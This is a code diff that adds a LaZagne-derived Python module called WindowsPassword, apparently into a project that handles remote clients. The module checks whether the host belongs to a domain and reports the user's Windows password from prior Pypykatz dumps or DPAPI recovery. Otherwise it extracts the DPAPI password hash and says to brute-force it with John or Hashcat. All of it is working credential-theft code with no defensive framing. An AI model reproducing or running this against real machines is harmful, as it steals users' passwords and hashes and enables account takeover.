+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_LOCAL_MACHINE
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.users import get_username_winapi
+
+
+class WindowsPassword(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'windows', 'windows')
+ self.current_user = get_username_winapi()
+
+ def is_in_domain(self):
+ """
+ Return the context of the host
+ If a domain controller is set we are in an active directory.
+ """
+ try:
+ key = OpenKey(HKEY_LOCAL_MACHINE, r'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\')
+ val, _ = winreg.QueryValueEx(key, 'DCName')
+ winreg.CloseKey(key)
+ return val
+ except Exception:
+ return False
+
+ def run(self):
+ """
+ - Check if the user password has already be found using Pypykatz
+ - If not, check if a password stored in another application is also used as windows password
+ - Windows password not found, return the DPAPI hash (not admin priv needed) to bruteforce using John or Hashcat
+ """
+ # Check if password has already been found
+ if constant.pypykatz_result.get(self.current_user, None):
+ if 'Password' in constant.pypykatz_result[self.current_user]:
+ # Password already printed on the Pypykatz module - do not print it again
+ self.info('User has already be found: {password}'.format(
+ password=constant.pypykatz_result[self.current_user]['Password'])
+ )
+ return
+
+ # Password not already found
+ pwd_found = []
+ if constant.user_dpapi and constant.user_dpapi.unlocked:
+ # Check if a password already found is a windows password
+ password = constant.user_dpapi.get_cleartext_password()
+ if password:
+ pwd_found.append({
+ 'Login': constant.username,
+ 'Password': password
+ })
+ else:
+ # Retrieve dpapi hash used to bruteforce (hash can be retrieved without needed admin privilege)
+ # Method taken from Jean-Christophe Delaunay - @Fist0urs
+ # https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf
+
+ self.info(
+ u'Windows passwords not found.\n'
+ u'Try to bruteforce this hash (using john or hashcat)'
+ )
+ if constant.user_dpapi:
+ context = 'local'
+ if self.is_in_domain():
+ context = 'domain'
+
+ h = constant.user_dpapi.get_dpapi_hash(context=context)
+ if h:
+ pwd_found.append({
+ 'Dpapi_hash_{context}'.format(context=context): constant.user_dpapi.get_dpapi_hash(
+ context=context)
+ })
+
+ return pwd_found